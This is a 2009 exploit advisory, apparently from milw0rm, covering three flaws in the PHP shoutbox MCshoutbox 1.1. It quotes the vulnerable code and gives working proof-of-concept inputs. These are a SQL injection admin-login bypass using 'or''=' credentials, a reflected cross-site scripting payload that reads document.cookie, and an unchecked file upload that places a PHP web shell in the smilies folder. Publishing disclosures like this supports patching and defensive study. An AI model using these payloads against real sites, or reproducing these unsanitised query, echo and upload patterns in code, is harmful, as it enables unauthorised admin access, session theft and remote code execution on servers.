###########################################################################################
[+] MCshoutbox 1.1 (SQL/XSS/Shell) Multiple Remote Vulnerabilities
[+] Discovered By SirGod
[+] http://insecurity-ro.org
[+] http://h4cky0u.org
############################################################################################
Homepage : http://www.maniacomputer.com/dload/MCshoutbox_Download_Page.html
[+] SQL Injection Login Bypass
- Note : magic_quotes_gpc = off
- Vulnerable code in scr_login.php
----------------------------------------------------------------------------------------------------------------------------------------------------------------
$admin_name = trim($_REQUEST[ 'username' ]);
$admin_password = trim($_REQUEST[ 'password' ]);
connect($host,$username,$password,$database);
$query = "SELECT * FROM admin_tbl WHERE admin_name = ''or''='' AND
admin_password = ''or''=''" ;
----------------------------------------------------------------------------------------------------------------------------------------------------------------
- PoC
URL : http://127.0.0.1/[path]/admin_login.php
Username : 'or''='
Password : 'or''='
[+] Cross-Site Scripting
- Vulnerable code in admin_login.php
----------------------------------------------------------------------------------------------------------------------------------------------------------------
if(isset($loginerror)){ ?>
<tr>
<td colspan="2" align="center" style="font-size:18px;
color:#FFFFFF;" ><?echo $loginerror?></td>
----------------------------------------------------------------------------------------------------------------------------------------------------------------
- PoC
http://127.0.0.1/[path]/admin_login.php?loginerror=<script>alert(document.cookie)</script>
[+] Shell Upload
- Note : The extension of the file isn't checked so we can upload our
evil file.
- Vulnerable code in admin.php
----------------------------------------------------------------------------------------------------------------------------------------------------------------
if(isset($_POST['addsmilie'])){
$alt = $_POST['symbol'];
$symbol = $_POST['symbol'];
$img = $_FILES['image']['name'];
..............................................................................................................................................
$uploadfile = $uploaddir . $_FILES['image']['name'];
..............................................................................................................................................
$upload = move_uploaded_file($_FILES['image']['tmp_name'], $uploadfile);
----------------------------------------------------------------------------------------------------------------------------------------------------------------
- PoC
URL : http://127.0.0.1/[path]/admin.php?mode=add
Symbol Emoticon : anything
Path to Smilie : yourshell.php
- You will find you shell here
http://127.0.0.1/[path]/smilies/yourshell.php
############################################################################################
# milw0rm.com [2009-07-20]
